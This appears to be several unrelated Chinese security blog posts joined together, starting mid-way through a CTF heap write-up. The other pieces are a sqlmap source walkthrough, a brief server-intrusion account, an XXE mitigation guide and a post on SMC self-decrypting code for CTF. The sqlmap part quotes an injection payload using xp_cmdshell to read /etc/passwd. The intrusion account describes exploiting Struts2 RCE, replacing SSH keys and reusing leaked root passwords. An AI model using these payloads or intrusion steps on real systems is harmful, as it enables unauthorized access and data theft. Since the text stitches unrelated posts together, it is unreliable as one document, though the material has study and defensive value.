0x5597ecced000+0x202040 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000 0x202040是heap的偏移,可以从ida里面找到。 申请出来的堆,__free_hook在4号堆 pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000 成功证明, 然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗 然后再把3号堆写入/bin/sh 然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了 成功取得shell 总结 做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc等。 这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。
SQLMap 源码阅读
0x01 前言 因为代码功底太差,所以想尝试阅读 sqlmap 源码一下,并且自己用 golang 重构,到后面会进行 ysoserial 的改写;以及 xray 的重构,当然那个应该会很多参考 cel-go 项目。 0x02 环境准备 sqlmap 的项目地址:https://github.com/sqlmapproject/sqlmap用 pycharm 打断点调试,因为 vscode 用来调试比较麻烦。 因为要动调,所以需要一个 sql 注入的靶场,这里直接选用的是 sql-labs,用 docker 起 docker pull acgpiano/sqli-labs docker run -dt --name sqli-lab -p [PORT]:80 acgpiano/sqli-labs:latest 最后还需要重新配置一下数据库,然后才能以 sqli-labs 为靶场进行测试。 这里也挂一下 sqlmap 对应的一些基础操作 ———— https://www.cnblogs.com/hongfei/p/3872156.html 直接在 pycharm 的 Debug 下进行调试,设置参数如下,开始调试 -u "http://81.68.120.14:3333/Less-1/?id=1" -technique=E --dbs 0x03 sqlmap 源码阅读 在开始之前我们有必要确认一下 sqlmap 运行的流程图,很重要!这样有助于我们进一步分析源码。 1. 初始化 在 sqlmap.py 的 main 函数下断点,开始调试 在没有对 URL 进行发包/探测的时候 sqlmap 会先对一些环境、依赖、变量来做一些初始化的处理 往下,通过 cmdLineParser() 获取参数,cmdLineParser() 通过 argparse 库进行 CLI 的打印与获取,类似的一个小项目我之前也有接触过 https://github.com/Drun1baby/EasyScan 往下 initOptions(cmdLineOptions) 解析命令行参数 init 函数: 初始化 在 init() 函数中通过调用各种函数进行参数的设置、payload 的加载等,有兴趣的师傅可以点进去阅读一下。 其中这三个相对比较重要,是用来加载 payload 的 ———— loadBoundaries()、loadPayloads()、_loadQueries(), loadBoundaries()  // 加载闭合符集合 loadPayloads()    // 加载 payload 集合 _loadQueries()    // 加载查询语句,在检测到注入点之后后续进行数据库库名字段名爆破会用到的语句 下个断先点调试一下 loadBoundaries() 函数 首先,会去加载 paths.BOUNDARIES_XML,也就是 data/xml/boundaries.xml 接着进入解析 XML 文件的部分,跟进 parseXmlNode(root) 最终添加到 conf 对象的 tests 属性里 loadPayloads() 函数与 _loadQueries() 函数大体上也是如此,都是做了解析 xml 文件的工作,再将内容保存到 conf 对象的 tests 属性里。像 loadPayloads() 函数,最后在 conf.tests 里面可以很清晰的看到 payloads 此时我们还可以看一下 conf 是什么 conf 属性中主要存储了一些目标的相关信息(hostname、path、请求参数等等)以及一些配置信息,init 加载的 payload、请求头 header、cookie 等 init() 函数执行完毕后,就会来到 start() 函数进行项目的正式运行。 初始化功能点小结 简单概括一下初始化部分的代码做了什么事 获取命令行参数并处理 初始化全局变量 conf 以及 kb 获取并解析几个 xml 文件,完成闭合工作、payloads 加载工作 设置 HTTP 相关配置,如 HTTP Header,UA,Session 等 2. URL 处理 f8 下来,先到的是 threadData = getCurrentThreadData(),继续往下走,到 result = f(*args, **kwargs) 代码块,跟进一下 代码逻辑此时来到了 /lib/controller/controller.py 下,往下走,是不会进到 conf.direct 和 conf.hashFile 中的,会直接进入到 kb.targets.add() 的代码逻辑里面。 此处的 kb 变量的作用是共享一些对象,其实本质上是保存了注入时的一些参数。kb.targets 添加了我们输入的参数,如图 往下看,大体上是做了一些类似类似打印日志、赋值、添加 HTTP Header 等工作,这一部分代码我们就不看了,直接看最关键的这一部分代码 parseTargetUrl()。 跟进 一开始先进行了这一判断 if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6 判断 http:// 的开头形式是否正确,以及 socket 是否为 ipv6 协议,如果为 ipv6 协议,那么 sqlmap 并不支持。 接着判断 if not re.search(r"^(http|ws)s?://", conf.url, re.I): 判断是 http 开头还是 https 开头,又或者是否是 ws/wss 开头,如果没有这些开头,则就从端口判断,这里我认为或许可以加上 80 与 8080 端口。 继续往下看,进行了 url 的拆分、host 的拆分,并将这些内容保存到 conf 里面的对应属性,后续也是一些基础的判断与赋值,这里不再赘述。 总而言之是在对 URL 进行剖析与拆解,最后这些东西都是放到 conf 里面的 3. 如果这个网站已经被注入过,生成注入检测的payload 核心代码在 controller.py 的第 434 行,需跟进;此处我们可以设置对 kb.injections 的变量监测。先跟进 setupTargetEnv() 函数 setupTargetEnv() 函数调用了如下图所示的七个函数 我们跟进最主要的 _resumeHashDBValues() 函数,首先调用了 hashDBRetrieve() 函数,设置检索 出来,到第 476 行,这一次又调用了 hashDBRetrieve() 函数,传参是 HASHDB_KEYS.KB_INJECTIONS,意思就是以 KB_INJECTIONS 作为 KEY 进行检索。跟进发现函数先将需要注入的 URL 信息放到了 _这个变量中,并将基础信息用 | 符号隔开。 跟进 retrieve() 函数,这个函数做了生成 payload 的工作,具体是怎么生成的我们继续往下看 第 95 行,这里很重要,执行了 SQL 语句,并通过 Hash 加密,加密方式是 base64Pickle 序列化 最终反序列化解密 Payload,说实话这里没看懂是怎么生成的,看上去仅仅是执行了一个 SQL 语句,后面看其他师傅的文章的时候并没有把这一段单独拉出来说,payloads 其实都放在 xml 当中。 接着再循环一次,生成一个 payload 在生成完所有 payload 之后会先对目标进行一次探测,如果 Connection refused 则返回 False 这里生成的 payload 只是很基础的一部分,并非是 4. WAF 检测 解析完 URL 之后对目标进行探测,往下看,位置是 controller.py 的第 439 行,第 448 行有 checkWaf() 的函数,很明显就是要做 WAF 检测的功能。 先会判断这一目标是否存在 WAF,如果存在 WAF 的话,会进行字符的相关 fuzz,当然此处建议对一个存在 WAF 的目标进行测试。值得注意的是,如果这个目标你已经探测过存在 waf,且已知 waf 归属厂商的情况下,就不会走到 payload 那一段代码逻辑当中去,相关的业务代码在 hashDBRetrieve() 下,此处不再展开,比较容易。 如果存在 WAF,则会生成用于 fuzz 的 payload,这个 payload 是基于这个 NMAP 的 http-waf-detect.nse ———— https://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse 设置 payload 类似于 "9283 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#",如果没有 WAF,页面不会变化,如果有 WAF,因为 payload 中有很多敏感字符,大多数时候页面都会发生改变。 接下来的 conf.identifyWaf 代表 sqlmap 的参数 --identify-waf,如果指定了此参数,就会进入 identifyWaf() 函数,主要检测的 waf 都在 sqlmap 的 waf 目录下。不过新版的 sqlmap 已经将这一参数的功能自动放到里面了,无需再指定参数 这里的 payload 先经过处理后赋值给 value,再将 value 作为参数传入 queryPage() 请求中,跟进 在经过很长一段的数据处理与判断代码后,我们到第 1531 行,如图,跟进;getPage() 函数的作用是获取界面的一些信息,如 url,ua,host 等,通过输出比对 payload,为判断 waf 类型提供信息。 获取基本信息 这些基础信息最后都会保存在 response 系列的 message 当中 getPage() 函数中调用了 processResponse() 函数做响应结果的处理,跟进 往下看,到 401 行开始,后续的代码进行了 Waf 的识别 跟进 identYwaf.non_blind_check(),是通过正则表达式来对页面进行匹配,对应的规则在 thirdparty/identywaf/data.json 中 同时 sqlmap 不光通过规则库来进行判断,也会通过页面相似度来判断是否存在 waf/ips 如果相似度小于设定的 0.5 那么就判定为有 waf 拦截 WAF 注入总结 总结一下就是两点,一种方法是通过正则匹配的检测,另外一种方法是根据页面相似度来检测,我自己应该很难写出来 waf 检测的东西;届时再做尝试。 5. 注入检测之启发式注入 从 checkWaf() 函数里面出来,先到第 457 行,检测网站是否稳定(因为有些网站一测试可能就炸了)对应此 info [INFO] testing if the target URL content is stable 继续往下走到第 471 行,会先判断参数是否可以注入,这里与命令的参数 —— --level 挂钩 在前文环境准备的时候我们采用的方式是报错注入,如果不这么做,直接指定参数 --dbs,无法进入到启发式注入里面。我们接着看代码,往下直到第 581 行,调用的 heuristicCheckSqlInjection() 函数,意思是启发性注入。 启发式注入做了哪些工作 1、数据库版本的识别2、绝对路径获取3、XSS 的测试 数据库版本的识别 首先会从 HEURISTIC_CHECK_ALPHABET 中随机抽取10个字符出现构造 Payload,当然里面的都不是些普通的字符,而且些特殊字符,当我们进行 SQL 注入测试的时候会很习惯的在参数后面加个分号啊什么的,又或者是其他一些特殊的字符,出现运气好的话有可能会暴出数据的相关错误信息,而那个时候我们就可以根据所暴出的相关错误信息去猜测当前目标的数据库是什么。 并且最后生成的这个 payload 是能够闭合的 实际找个网站测试,如图,这就是报出的 SQL 数据库错误 判断在 lib/request/connect.py 的 1532 行 接着跟进 processResponse() 函数,这里和 waf 对比用的同一种方式,不再详细说明 其中 processResponse() 会调用到 ./lib/parse/html.py 中的 htmlParser() 函数,这一个函数就是根据不同的数据库指纹去识别当前的数据库究竟是什么。 最终实现这一功能的其实是 HTMLHandler 这个类,errors.xml 文件内容如图 这一配置文件的比较简单,其实也就是一些对应数据库的正则。sqlmap 在解析 errors.xml 的时候,然后根据 regexp 中的正则去匹配当前的页面信息然后去确定当前的数据库。这一步和 WAF 比对类似。 到此 sqlmap 就可以确定数据的版本了,从而选择对应的测试 Payload,后续我们会看到这是根据莫索引将 payloads 排序,然后选取对应数据库信息的 payloads 进行测试。减少 sqlmap 的扫描时间。 最后这个 DBMS 探测对应的是这一段信息 获取绝对路径与 XSS 探测 相比指纹识别,获取绝对路径的功能模块相对简单,利用正则匹配寻找出绝对路径。 XSS 的探测也比较简单,这里就不作代码分析了 6. 注入检测之正式注入 从启发式注入里面出来,到第 592 行,进行正式的注入检测,跟进 到第 130 行,获取所有的 payload,后续会根据数据库的信息构建索引,将符合索引的 payload 拿去攻击 往下走,先判断有没有做数据库信息的获取,如果有则跳过,如果没有就先进行上一步的启发式注入 接着根据通过报错得到的数据库信息建立索引,将对应最有效的 payload 拿出来。这些 payloads 会进行 while 循环 第 370 行,通过 cleanupPayload() 函数对 payload 进行处理,主要功能其实是做了 payload 的标签替换 最后替换过的 payload 长这样 "AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('qbpxq',(SELECT (ELT(9125=9125,1))),'qxkvq','x'))s), 8446744073709551610, 8446744073709551610)))" 在 sqlmap 中将payload 分为了三部分,上面生成的 fstpayload 就是中间那部分 prefix + payload + suffix prefix 和 suffix 就是对应的,闭合前面的结合以及注释后面的结构,这两个属性主要是从 boundary 中进行获取的,boundary 就是前面加载的 boundaries.xml 配置文件,用来闭合的,所以这里作为了 prefix 和 suffix 最后的拼接 并分别对 prefix 和 suffix 进行 clean,然后进行组合,组合之后的 payload 就是 reqPayload,然后进行请求 发出请求最终还是通过 request.queryPage() 来实现的 请求完毕的结果经过 queryPage() 函数来获取界面,但是页面结果是由 kb.chars.start 和 kb.chars.stop 包裹着的 当第一次的注入不成功的时候,会不断变更 prefix,suffix,当 prefix 和 suffix 都变更完毕但还是无法注入时,才会变更 payload,取出另一个 payload 出来,直至 injectable 变量为 true,同时 output=1 并且 injectable=true 7. 爆数据库等操作 经过上一步正式注入的判断,得到的 injectable=true 参数,才能进行下一步的爆数据库操作. 爆库阶段主要是先经过四个函数处理数据后,再调用 action() 函数,跟进。 这里已爆库为例,先看 --dbs 参数有关的这一块,核心函数是 getDbs() 先根据后台数据库信息,输出日志 第 133 行,queries 就是存放之前初始化 queries.xml 的变量 首先通过 count(schema_name) 来获取数据库的个数,然后再通过 limit num,1 来依次获取数据库名,从 queries 变量中获取语句之后就会传递到 getValue 函数 跟进,前面做了一些基础的设置和 payload 的处理与赋值,比如第 401 行的 cleanQuery() 函数,将语句转换为大写,这里我就不跟进了。直接看关键语句,第 451 行,errorUse() 函数 在 errorUse() 中首先通过正则将 payload 中的各个部分都进行了获取 ,保存到了对应的 field 当中,最终经过一系列处理,取出了 payload 中的 schema_name 跳出 getFields() 函数,往下,将 expression 的值经过 replace 操作,赋值给了 countedExpression,最终得到的值是 'SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA' 第 337 行,跟进 _oneShotErrorUse() 函数,在这一个函数中,sqlmap 对目标网站发包,使用的 payload 为 countedExpression,目的是探测数据库个数(count) 具体业务发包在这里 最后将结果传入 extractRegexResult() 函数中进行正则提取 多线程的方式进行注入,而 runThreads() 函数调用了 errorThread() 函数,最终的注入业务还是由 errorThread() 函数来完成的 跟进一下 _errorFields() 函数,将每一个表进行 while 循环操作,再通过 limitQuery() 函数设置最后的 Limit 语句 最后成功 --dbs sqlmap 流程分析结束 0x04 小结 sqlmap 的流程分析需要非常重视这张图,当感觉代码看不下去的时候看一下这张图可以事半功倍。 在审计开始之前也可以看一下 utils 文件夹下的 python 文件,总体来说流程并不难,看正则的时候其实挺吃力的。
记一次运气非常好的服务器渗透经历
平平无奇的客服平台: 这个客服平台是有RCE的,如果上传到的不是oss服务器,存储在本地服务器的话, 在返回端口的url是存在st2。 root权限,由于是客服后台服务器,没有啥有用价值的信息。 直接替换私钥连服务器。 继续翻找有用的信息。 配置文件里也只有mongodb和redis的连接信息。 历史命令和登录ip历史是阿里云服务器。 扫下端口,8092有个目录遍历,好像是专门用来放项目的。 点开test看看: 下载过来解包看看: 这咋有个ip,root和密码,不会是那个开发人才留下的吧,泪目了家人们。 尝试连接,还真可以。 连接数据库看看,8w多受害者,佩服。 然后再回到之前扫出来的端口, 8094是有个web项目。 在数据库获取到后台url  配合数据库和登录日志获取到国内技术嫌疑人。 IP和经纬度是在国内。 总结一下,下班。
禁用XXE处理漫谈
前言 近期准备面试题时,XXE漏洞防范措施(或者说修复方式)在一些文章中比较简略,故本文根据研究进行总结,作为技术漫谈罢了。 简述 XXE漏洞 XXE(XML外部实体注入),程序解析XML数据时候,同时解析了攻击者伪造的外部实体。XML用途是为了跨平台语言传输数据,常常用于WEB开发等。 XXE漏洞攻防情况 通常来说,XML文档生成时会常用到XXE和内部实体。因此开发团队根据项目需求去进行防范XXE漏洞。 然而实际情况是,即使采取了防范措施(错误的方法),XXE漏洞仍然可以大行其道。 有一个案例,某开发团队针对CVE-2018-20318漏洞进行了及时的修复,依照的是官方的修复方案: 禁止实体扩展引用,dbFactory.setExpandEntityReferences(false) 然而后续XXE漏洞仍然可以奏效,有师傅又提交了CVE漏洞。 最后有师傅总结正确的修复方法,如下: 禁用XXE处理分析 根据上述所说,XXE漏洞的正确处理是尤为重要的。我们这里以Java为例,并且应用偏向于JAXP API进行分析如何禁用XXE处理。 禁用文档类型 首先可以禁用文档类型。实体通过XML 文档的 DOCTYPE 进行声明。 我们在进行安全开发规划时,如确定不需要 DOCTYPE 声明时,可以完全禁用禁用文档类型。 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 当我们设置为true时,disallow-doctype-decl 使XML处理器发现DOCTYPE 声明时抛出异常。 禁用外部实体声明 其次是可以允许声明DOCTYPE,但禁用外部实体声明。 故若想要正常处理其他DTD声明,只针对外部实体进行抛出异常。可以用下面两种方法设置为flase来处理: factory.setFeature("http://xml.org/sax/features/external-general-entities", false);factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 补充说明:在PHP中,libxml库默认下是安全的,总是禁用外部实体。除非通过设置LIBXML_NOENT参数进行允许。如下: $doc = simplexml_load_string($xml, "SimpleXMLElement", LIBXML_NOENT); // !XXE enabled!$doc = simplexml_load_string($xml, "SimpleXMLElement"); // XXE disabled 启用安全处理 在Java中可以使用Feature for Secure Processing (FSP)进行安全处理。如下: factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); FSP属于一种核心Java机制,用于以应用限制去配置XML处理器,从而可以防范XML拒绝服务攻击和XXE漏洞。 默认设置下,FSP处于部分启用的状态,XML拒绝服务攻击可以防范。而XXE漏洞我们需要通过调用setFeature方法,将FSP由部分启用转为完全启用。 不过也有特例,例如Apache Xerces中FSP不限制外部连接,无法防范XXE漏洞。 总之,开发人员应当测试涉及XXE漏洞的FSP配置,并结合其他方式来禁用或者限制XXE。 禁用实体引用扩展 XML文档中寻找实体引用主要有两种方式: (1)DOM XML解析器作值替换引用 (2)DOM树创建空实体进行引用 将实体作值替换的机制在解析恶意XML文件时,可能会泄露敏感信息。 在Java中,对象DocumentBuilder中的etExpandEntityReferences方法用于配置实体引用: DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();factory.setExpandEntityReferences(false); 当配置为false时,不会进行实体引用。因而可以防范XXE漏洞。 扩展外部实体引用是发生在已提取外部内容之后。 因此禁用后且攻击者无法造成泄露敏感数据,仍然执行请求外部资源。 不过经过禁用实体引用扩展,攻击者仅能进行blind SSRF攻击,难以实际造成威胁。 所以禁用实体引用扩展也是我们防范XXE漏洞的可选方案。 结束语 本文为XXE漏洞相关的防范措施漫谈,主要针对禁用XXE处理。 可以采取禁用文档类型、禁用外部实体声明、启用安全处理、禁用实体引用扩展这四种方式去进行防范。
探究SMC局部代码加密技术以及在CTF中的运用
前言 近些日子在很多线上比赛中都遇到了smc文件加密技术,比较出名的有Hgame杭电的比赛,于是我准备实现一下这项技术,但是在网上看了很多文章,发现没有讲的特别详细的,或者是无法根据他们的方法进行实现这项技术,因此本篇文章就是分享我在学习以及尝试smc文件加密技术时所遇到的麻烦以及心得。 该篇文章将会从我学习这项技术的视角,讲述我屡次失败的经历,一点点深入。 SMC局部代码加密技术简介: SMC(Software-Based Memory Encryption)是一种局部代码加密技术,它可以将一个可执行文件的指定区段进行加密,使得黑客无法直接分析区段内的代码,从而增加恶意代码分析难度和降低恶意攻击成功的可能性。 SMC的基本原理是在编译可执行文件时,将需要加密的代码区段(例如函数、代码块等)单独编译成一个section(段),并将其标记为可读、可写、不可执行(readable, writable, non-executable),然后通过某种方式在程序运行时将这个section解密为可执行代码,并将其标记为可读、可执行、不可写(readable, executable, non-writable)。这样,攻击者就无法在内存中找到加密的代码,从而无法直接执行或修改加密的代码。 SMC技术可以通过多种方式实现,例如修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。加密时一般采用异或等简单的加密算法,解密时通过相同的算法对密文进行解密。SMC技术虽然可以提高恶意代码的抗分析能力,但也会增加代码运行的开销和降低代码运行速度。 具体来说,SMC实现的主要步骤包括: 读取PE文件并找到需要加密的代码段。 将代码段的内容进行异或加密,并更新到内存中的代码段。 重定向代码段的内存地址,使得加密后的代码能够正确执行。 执行加密后的代码段。 SMC的优点在于: SMC采用的是软件实现方式,因此不需要硬件支持,可以在任何平台上运行。 SMC对于程序的执行速度影响较小,因为代码解密和执行过程都是在内存中进行的。 SMC可以对代码进行多次加密,增加破解的难度。 SMC可以根据需要对不同的代码段进行不同的加密方式,从而提高安全性。 然而,SMC的缺点也显而易见,主要包括: SMC的实现比较复杂,需要涉及到PE文件结构、内存管理等方面的知识。 SMC需要在运行时动态地解密代码,因此会对程序的性能产生一定的影响。 SMC只能对静态的代码进行加密,对于动态生成的代码无法进行保护。 SMC对于一些高级的破解技术(如内存分析)可能无法完全保护程序。 综上所述,SMC是一种局部代码加密技术,可以提高程序的安全性,但也存在一些局限性。在实际应用中,需要根据具体的情况选择最合适的保护方案,综合考虑安全性、性能和可维护性等因素。 [流程图] +---------------------+ | 读取PE文件 | | 找到代码段 | +---------------------+ | | v +---------------------------------+ | 对代码段进行异或加密 | | 并更新到内存中的代码段 | +---------------------------------+ | | v +---------------------------------+ | 重定向代码段的内存地址, | | 使得加密后的代码能够正确执行 | +---------------------------------+ | | v +---------------------+ | 执行加密后的代码段 | +---------------------+ [小结一下] 前面说的非常的高端,其实通俗的讲就是程序可以自己对自己底层的字节码进行操作,就是所谓的自解密技术。其在ctf比赛中常见的就是可以将一段关键代码进行某种加密,然后程序运行的时候就直接解密回来,这样就可以干扰解题者的静态分析,在免杀方面也是非常好用的技术。可以利用该技术隐藏关键代码。 言归正传 如何实现这项技术 说实话,实现这项技术我是踩了非常多的坑的,接下来将会一一分享。 用伪代码解释一下该技术: proc main: ............ IF .运行条件满足  CALL DecryptProc (Address of MyProc)//对某个函数代码解密 ........  CALL MyProc                           //调用这个函数 ........  CALL EncryptProc (Address of MyProc)//再对代码进行加密,防止程序被Dump ...... end main OK,非常明确,首先我是使用了Dev-C++ 6.7.5编译器,使用的MinGW GCC 9.2.0 32bit Debug的编译规则。 我们回忆一下该项技术,加入我们需要加密的是函数fun,那么我们首先需要使用指针找到fun的地址,一开始我使用的是int类型的指针,代码如下: void fun() { char flag[]="flag{this_is_test}"; printf("%s",flag); } int main () { int *a=(int *)fun; for(int i = 0 ; i < 10 ; i++ ) { printf("%x ",*(a++)); } } 输出结果为: 83e58955 45c738ec 616c66e5 e945c767 6968747b 73ed45c7 c773695f 745ff145 c7667365 7d74f545 然后我们把编译出来的文件放到ida里面观察。 可以发现输出的内容确实是fun的字节码,但是由于int在c语言中占用了四个字节,因此是由四个16进制的机器码根据小端序排列输出的,那么为了解决这种连续字节码的问题我们需要找到一个只占用一个字节的指针,首先我想到了char类型,于是我马上更改代码,使用char类型的指针,得到了如下的输出结果。 55 ffffff89 ffffffe5 ffffff83 ffffffec 38 ffffffc7 45 ffffffe5 66 显然,这里是忽略的char的符号位的问题,有符号char型如果最高位是1,意思是超过了0x7f,当%X格式化输出的时候,则会将这个类型的值拓展到int型的32位,所以才会出现0xff,被扩展为ffffffff。 一筹莫展之际,我想起了在c语言中还有一种数据类型是只占一个字节的,那就是byte类型的数据,将代码改成byte类型之后可以发现输出变得正常了。 输出为: 55 89 e5 83 ec 38 c7 45 e5 66 这个就是正确的字节码的形式了。 那么我们需要定位到程序段进行加密了,由于本次只是实验,我们采取简单的异或加密方式,异或加密的特点就是加密函数也可以是解密函数,极大的方便了我们此次实验。我们可以先在ida中看到我们需要加密的程序段的位置。 在ida中我们可以发现我们需要解密的fun函数占用的地址段是0x00401410-00401451,那我们只需要将这一段内存中的机器码进行异或加密理论上就可以实现smc文件加密技术了。 实现代码如下: void fun() { char flag[]="flag{this_is_test}"; printf("%s",flag); } int main () { byte *a=(byte *)fun; byte *b = a ; for( ; a!=(b+0x401451-0x401410+1) ; a++ ) { *a=*a^3; } fun(); } 这段代码直接运行的话会出现内存错误,这是因为代码运行的时候对原本未被加密的fun函数进行了异或处理,导致本来应该是解密的操作变成了加密操作,然后机器无法识别该段内存就出现了内存错误,因此在运行代码前我们需要将文件中的fun函数部分进行加密操作。我这里使用idapython对字节码进行操作,然后将文件dump出来,完成对文件的加密。 idapython脚本为: for i in range(0x401410,0x401451):    patch_byte(i,get_wide_byte(i)^3) 运行后把代码dump下来,再运行。 发现出现内存错误告警,猜测可能是dev-c++的编译器开启了随机基地址和数据保护,因此选择更换编译器,并关闭随机基地址选项。这里使用的是visual studio 2019,32位的debug模式进行编译。 但是遗憾的是仍然无法运行,思考了一会儿之后发现可能是该段内存没有被设置成可读、可执行、可写入,导致程序无法识别这段内存了,因此我们改变方法使用程序段的概念,通过对整个程序段进行加密解密,来实现smc技术。 使用的代码是: #include<Windows.h> #include<string> #include<string.h> using namespace std; #include <iostream> #pragma code_seg(".hello") void Fun1() { char flag[]="flag{this_is_test}"; printf("%s",flag); } #pragma code_seg() #pragma comment(linker, "/SECTION:.hello,ERW") void Fun1end() { } void xxor(char* soure, int dLen)   //异或 {    for (int i = 0; i < dLen;i++)   {         soure[i] = soure[i] ^3;   } } void SMC(char* pBuf)     //SMC解密/加密函数 {    const char* szSecName = ".hello";    short nSec;    PIMAGE_DOS_HEADER pDosHeader;    PIMAGE_NT_HEADERS pNtHeader;    PIMAGE_SECTION_HEADER pSec;    pDosHeader = (PIMAGE_DOS_HEADER)pBuf;    pNtHeader = (PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];    nSec = pNtHeader->FileHeader.NumberOfSections;    pSec = (PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS) + pDosHeader->e_lfanew];    for (int i = 0; i < nSec; i++)   {        if (strcmp((char*)&pSec->Name, szSecName) == 0)       {            int pack_size;            char* packStart;            pack_size = pSec->SizeOfRawData;            packStart = &pBuf[pSec->VirtualAddress];            xxor(packStart, pack_size);            return;       }        pSec++;   } } void UnPack()   //解密/加密函数 {    char* hMod;    hMod = (char*)GetModuleHandle(0);  //获得当前的exe模块地址    SMC(hMod); } int main() {   //UnPack();    UnPack(); //    Fun1();    return 0; } 如此操作后,做一个简单的验证看看能不能成功,就是进行两次调用unpack函数来看看程序能否正常运行,发现程序成功的输出了flag那么使用程序段的方式是正确的!! 这段代码实现了一个简单的SMC自修改代码技术,主要包括以下几个部分: 使用 #pragma code_seg 指令将 Fun1() 函数代码段定义为一个名为 ".hello" 的新代码段,使其与其他代码段隔离开来,方便后面的加密和解密。 使用 #pragma comment(linker, "/SECTION:.hello,ERW") 指令将 ".hello" 代码段设置为可读、可执行、可写入的,以便后面的加密和解密操作。 定义 Fun1end() 函数作为 Fun1() 函数的结束点,以便后面的加密操作。 定义 xxor() 函数用于将指定的字符串进行异或加密/解密。 定义 SMC() 函数,该函数用于解密指定代码段的内容。具体操作是遍历 PE 文件的各个段,找到指定代码段并对其进行解密。 定义 UnPack() 函数,该函数用于对当前进程的代码段进行解密操作。具体操作是获取当前模块的句柄,读取模块的 PE 文件并对指定代码段进行解密。 在 main() 函数中调用 UnPack() 函数进行解密操作,然后调用 Fun1() 函数进行计算。 需要注意的是,这段代码只是一个简单的示例,实际应用中可能需要更加复杂的加密和解密方法,以及更多的安全措施来保护代码的安全性。同时,SMC自修改代码技术也存在一定的风险和挑战,需要仔细评估和规划,谨慎使用。 代码写好之后,仍然需要我们自己手动先加密程序,在别的文章中所使用的方法和工具我找了很久都没有找到,因此决定自己使用ida+idapython来实现对程序的加密,最后dump出程序,然后程序运行时会自己进行解密。 ida中的hello程序段 我们需要的是将所有hello程序段的内容进行加密。 idapython脚本: for i in range(0x417000,0x4170A4):    patch_byte(i,get_wide_byte(i)^3) 虽然dump出来的程序能输出我们程序中的值,但是仍然出现了堆栈不平衡的问题,因此在终端运行程序时仍然会爆出内存错误的告警,研究到此时我已经心态崩了,找了很多大牛的博客都没有详细提到怎么实现加密程序,那这样的话只能自己手撸了,这里使用python语言,代码为: import pefile def encrypt_section(pe_file, section_name, xor_key):   """   加密PE文件中指定的区段   """   # 找到对应的section   for section in pe_file.sections:       if section.Name.decode().strip('\x00') == section_name:           print(f"[*] Found {section_name} section at 0x{section.PointerToRawData:08x}")           data = section.get_data()           encrypted_data = bytes([data[i] ^ xor_key for i in range(len(data))])           pe_file.set_bytes_at_offset(section.PointerToRawData, encrypted_data)           print(f"[*] Encrypted {len(data)} bytes at 0x{section.PointerToRawData:08x}")           return   print(f"[!] {section_name} section not found!") if __name__ == "__main__":   filename = "test1.exe"#加密文件的名字,需要在同一根目录下   section_name = ".hello"#加密的代码区段名字   xor_key = 0x03#异或的值   print(f"[*] Loading {filename}")   pe_file = pefile.PE(filename)   # 加密   print("[*] Encrypting section")   encrypt_section(pe_file, section_name, xor_key)   # 保存文件   new_filename = filename[:-4] + "_encrypted.exe"   print(f"[*] Saving as {new_filename}")   pe_file.write(new_filename)   pe_file.close() 这段代码实现了对PE文件中指定的代码区段进行异或加密的功能,具体解释如下: 导入pefile模块:该模块提供了解析PE文件格式的功能; 定义encrypt_section函数:该函数接收三个参数,分别是PE文件对象pe_file、待加密区段名称section_name和异或值xor_key。函数首先遍历PE文件中的所有区段,查找名字为section_name的区段; 对指定的代码区段进行加密:如果找到了名字为section_name的代码区段,该函数调用PE文件对象的set_bytes_at_offset方法,将指定区段中的每个字节和异或值异或,得到加密后的数据,并将加密后的数据写回指定区段。注意,set_bytes_at_offset方法需要传入一个字节串作为参数,因此需要将加密后的数据转换为字节串; main函数:该函数首先指定待加密的PE文件名filename、待加密的区段名称section_name和异或值xor_key。然后,它创建一个PE文件对象pe_file,读入PE文件;接着调用encrypt_section函数,对指定区段进行加密;最后,将加密后的文件写入新的文件中,并关闭PE文件对象。 这段代码的执行过程如下: 调用main函数,读取PE文件test1.exe; 找到名字为.hello的区段,对其中的每个字节和异或值0x03进行异或,得到加密后的数据; 将加密后的数据写回.hello区段,并将加密后的文件保存为test1_encrypted.exe。 脚本完成后,满怀激动的运行它! 成功了!! 终端也成功的运行出了加密后的程序,我们再到ida中观察它。 成功的无法静态分析。那么至此我们就成功的实现了该项技术! CTF实战 SMC 技术在 CTF 比赛中有很多应用,主要是用来对抗反调试和反编译等工具的逆向分析。下面是几个常见的应用场景: 局部代码加密:CTF 比赛中有很多加密的二进制程序,利用 SMC 技术可以对程序的关键代码进行加密,增加分析难度,提高程序的安全性。 加密字符串和常量:CTF 比赛中有很多加密的字符串和常量,这些字符串和常量通常用来存储关键信息,如密钥、密码等。利用 SMC 技术可以对这些字符串和常量进行加密,增加分析难度,提高程序的安全性。 防止调试:CTF 比赛中有很多程序会使用调试器进行逆向分析,利用 SMC 技术可以对程序进行调试器检测和防御,防止调试器的使用。 防止反编译:CTF 比赛中有很多程序会被反编译,利用 SMC 技术可以对程序进行反编译检测和防御,防止程序被反编译。 总之,SMC 技术在 CTF 比赛中是一个非常有用的技术,可以用来保护程序的安全性,增加分析难度,提高程序的安全性。 [Hgame2023]patchme 